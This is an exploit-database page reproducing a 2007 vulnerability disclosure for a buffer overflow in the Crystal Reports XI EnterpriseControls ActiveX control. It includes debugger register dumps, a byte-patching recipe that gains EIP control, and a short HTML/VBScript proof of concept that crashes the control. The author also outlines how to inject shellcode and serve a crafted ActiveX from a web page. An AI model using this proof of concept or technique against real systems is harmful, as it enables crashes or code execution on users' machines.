header-logo
Suggest Exploit
vendor:
Crystal Reports
by:
shinnai
7.5
CVSS
HIGH
Buffer-Overflow
120 (Buffer Copy without Checking Size of Input)
CWE
Product Name: Crystal Reports
Affected Version From: 11
Affected Version To: 11
Patch Exists: YES
Related CWE: N/A
CPE: a:business_objects:crystal_reports:11
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP Professional
2007

Application: Crystal Reports XI Release 2 (Enterprise Tree Control) Remote BoF/Dos

The problem is a buffer-overflow which occours when you use the 'SelectedSession()' method. It seems that, during the initialization of the component, a race condition occours between threads and 4 bytes of the same component will overwrite EIP. If you patch these 4 bytes, you can control this register, using it to jump to a shellcode and execute arbitrary code on user's pc. For exploiting this vulnerability you only need to create a web page containing the CLSID and the codebase path to your crafted ActiveX.

Mitigation:

Patch the 4 bytes of the component to prevent the buffer-overflow.
Source

Exploit-DB raw data:

#####################################################################################

Application:  Crystal Reports XI Release 2 (Enterprise Tree Control) Remote BoF/Dos
              www.businessobjects.com
Versions:     11
Platforms:    Windows XP Professional
Bug:          buffer-overflow
Exploitation: remote
Date:         2007-01-16

Author:       shinnai
              e-mail: shinnai[at]autistici[dot]org
              web:    http://shinnai.altervista.org

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code
4) Fix

#####################################################################################

===============
1) Introduction
===============

This component is used to visualize on the web reports created with
Crystal Reports

#####################################################################################

============================
2) Technical details and bug
============================

Name:	EnterpriseControls.dll
Ver.:	11.5.0.313
CLSID:	{3D58C9F3-7CA5-4C44-9D62-C5B63E059050}
MD5:	179e2dc7f9f6e9d6e0210e89c623fd72

Marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data

The problem is a buffer-overflow which occours when you use the
"SelectedSession()" method.
It seems that, during the initialization of the component, a race
condition occours between threads and 4 bytes of the same component
will overwrite EIP.
If you patch these 4 bytes, you can control this register, using
it to jump to a shellcode and execute arbitrary code on user's pc.
For exploiting this vulnerability you only need to create a web
page containing the CLSID and the codebase path to your crafted
ActiveX.
These are registers using the original file:
14:59:34.126  pid=1468 tid=1250  EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [FF7DE928])
              ----------------------------------------------------------------
              EAX=5A4472D4: 83 6C 24 04 28 E9 7D FF-FF FF 83 6C 24 04 2C E9
              EBX=036B68CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
              ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              ESP=01FCF3A8: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 68 F4 FC 01
              EBP=01FCF3D4: 5C F4 FC 01 77 01 45 5A-68 F4 FC 01 54 F7 07 03
              ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
              EDI=036B68F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
              EIP=FF7DE928: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
                            --> N/A
              ----------------------------------------------------------------

14:59:34.142  pid=1468 tid=1250  EXCEPTION (unhandled)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [FF7DE928])
              ----------------------------------------------------------------
              EAX=5A4472D4: 83 6C 24 04 28 E9 7D FF-FF FF 83 6C 24 04 2C E9
              EBX=036B68CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
              ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              ESP=01FCF3A8: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 68 F4 FC 01
              EBP=01FCF3D4: 5C F4 FC 01 77 01 45 5A-68 F4 FC 01 54 F7 07 03
              ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
              EDI=036B68F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
              EIP=FF7DE928: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
                            --> N/A
              ----------------------------------------------------------------

We'll find these 4 bytes at this address:
0x000172D8 "28 E9 7D FF"...

using an hex editor to modify to:
0x000172D8 "42 42 42 42"...

we'll have:

C:\Tools>bindiff /c /d EnterpriseControls_patched.dll EnterpriseControls_ori.dll

Different, Left is newer  4 bytes differ
================================================================================
000172D0  87 FF FF FF 83 6C 24 04  .....l$.   87 FF FF FF 83 6C 24 04  .....l$.
000172D8 <42 42 42 42>FF FF 83 6C  BBBB...l  <28 E9 7D FF>FF FF 83 6C  (.}....l
000172E0  24 04 2C E9              $.,.       24 04 2C E9              $.,.    
================================================================================

File Count Summary
   Identical:      0 files
   Near Identical: 0 files
   Different:      1 files
   Left Only:      0 files
   Right Only:     0 files
   Errors:         0 files
   Total:          1 files

Byte Count Summary
   Matched:    4 bytes differ
   Left Only:  0 bytes
   Right Only: 0 bytes
   Total:      4 bytes

and registers values will be:
15:05:38.947  pid=12D4 tid=1240  EXCEPTION (first-chance)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [42424242])
              ----------------------------------------------------------------
              EAX=5A4472D4: 83 6C 24 04 42 42 42 42-FF FF 83 6C 24 04 2C E9
              EBX=037368CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
              ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              ESP=01FCF3CC: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 8C F4 FC 01
              EBP=01FCF3F8: 80 F4 FC 01 77 01 45 5A-8C F4 FC 01 CC 99 9D 02
              ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
              EDI=037368F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
              EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
                            --> N/A
              ----------------------------------------------------------------

15:05:38.978  pid=12D4 tid=1240  EXCEPTION (unhandled)
              ----------------------------------------------------------------
              Exception C0000005 (ACCESS_VIOLATION reading [42424242])
              ----------------------------------------------------------------
              EAX=5A4472D4: 83 6C 24 04 42 42 42 42-FF FF 83 6C 24 04 2C E9
              EBX=037368CC: 44 C7 4D 5A 28 C7 4D 5A-00 C7 4D 5A D4 C6 4D 5A
              ECX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              EDX=5A4DC55C: D4 72 44 5A 65 6C 44 5A-6F 6C 44 5A E4 6F 44 5A
              ESP=01FCF3CC: B4 3B 43 5A 5C C5 4D 5A-C8 F7 44 5A 8C F4 FC 01
              EBP=01FCF3F8: 80 F4 FC 01 77 01 45 5A-8C F4 FC 01 CC 99 9D 02
              ESI=5A4DE140: 79 3A 5C 66 72 61 6D 65-77 6F 72 6B 5F 73 64 6B
              EDI=037368F4: 5C C5 4D 5A 44 C5 4D 5A-01 00 00 00 30 C5 4D 5A
              EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
                            --> N/A
              ----------------------------------------------------------------

isn't it fun?
Naturally, EIP overwrite requires that someone uses the crafted dll otherwise
you can just enjoy a crash of tha application.

#####################################################################################

===========
3) The Code
===========

I will release a public exploit but, this time, no code execution ;-)
Everything I could say is that you can directly inject your shellcode into the dll
or pass an argument to "SelectedSession()" method and then jump to the shellcode.

Poc: Click here for DoS exploit

<html>
 <object classid='clsid:3D58C9F3-7CA5-4C44-9D62-C5B63E059050' id='test'></object>
  <script language = 'vbscript'>
   test.SelectedSession = ""
  </script>
</html>

#####################################################################################

======
4) Fix
======

No fix

#####################################################################################

# milw0rm.com [2008-01-17]

Navigation

Suggest Exploit

Services By CQR